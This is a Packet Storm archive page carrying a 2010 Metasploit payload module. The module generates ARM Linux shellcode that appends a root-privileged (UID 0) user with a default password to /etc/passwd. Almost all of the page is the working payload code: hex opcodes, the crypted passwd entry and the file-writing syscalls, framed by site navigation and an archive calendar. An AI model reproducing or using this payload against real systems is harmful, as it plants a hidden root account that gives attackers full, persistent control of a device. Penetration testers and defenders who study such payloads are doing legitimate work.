what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Create A New User With UID 0 ARM Shellcode

Create A New User With UID 0 ARM Shellcode
Posted Dec 9, 2010
Authored by Jonathan Salwan

Metasploit framework plugin that generates shellcode to create a new user with uid 0 for the ARM architecture.

tags | shellcode
SHA-256 | 9d8fcf7ca8c8fb2be14a67055397ccae9e20e5aebce90829954cd7e054d0e01d

Create A New User With UID 0 ARM Shellcode

Change Mirror Download
# Exploit Title: Linux/ARM - Create a new user with UID 0 (MSF)
# Date: 2010-11-25
# Author: Jonathan Salwan - twitter @shell_storm
# Tested on: ARM926EJ-S rev 5 (v5l)
# Issue link: https://metasploit.com/redmine/issues/3254

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'

###
#
# AddUser
# -------
#
# Adds a UID 0 user to /etc/passwd.
#
###
module Metasploit3

include Msf::Payload::Single
include Msf::Payload::Linux

def initialize(info = {})
super(merge_info(info,
'Name' => 'Linux Add User',
'Version' => '???',
'Description' => 'Create a new user with UID 0',
'Author' => [ 'Jonathan Salwan' ],
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_ARMLE,
'Privileged' => true))

# Register adduser options
register_options(
[
OptString.new('USER', [ true, "The username to create", "metasploit" ]),
OptString.new('PASS', [ true, "The password for this user", "metasploit" ]),
OptString.new('SHELL', [ false, "The shell for this user", "/bin/sh" ]),
], self.class)
end

#
# Dynamically builds the adduser payload based on the user's options.
#
def generate_stage
user = datastore['USER'] || 'metasploit'
pass = datastore['PASS'] || 'metasploit'
shell = datastore['SHELL'] || '/bin/sh'
str = "#{user}:#{pass.crypt('Az')}:0:0::/:#{shell}\n"
strl1 = [ (str.length)+52 ].pack('C*')
strl2 = [ str.length ].pack('C*')
pwdir = "/etc/passwd"
payload =
"\x05\x50\x45\xe0\x01\x50\x8f\xe2\x15\xff\x2f\xe1" +
"\x78\x46"+ strl1 + "\x30\xff\x21\xff\x31\xff\x31" +
"\xff\x31\x45\x31\xdc\x22\xc8\x32\x05\x27\x01\xdf" +
"\x80\x46\x41\x46\x08\x1c\x79\x46\x18\x31\xc0\x46" +
strl2 + "\x22\x04\x27\x01\xdf\x41\x46\x08\x1c\x06" +
"\x27\x01\xdf\x1a\x49\x08\x1c\x01\x27\x01\xdf" +
str + pwdir

end

end

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    16 Files
  • 26
    Apr 26th
    14 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close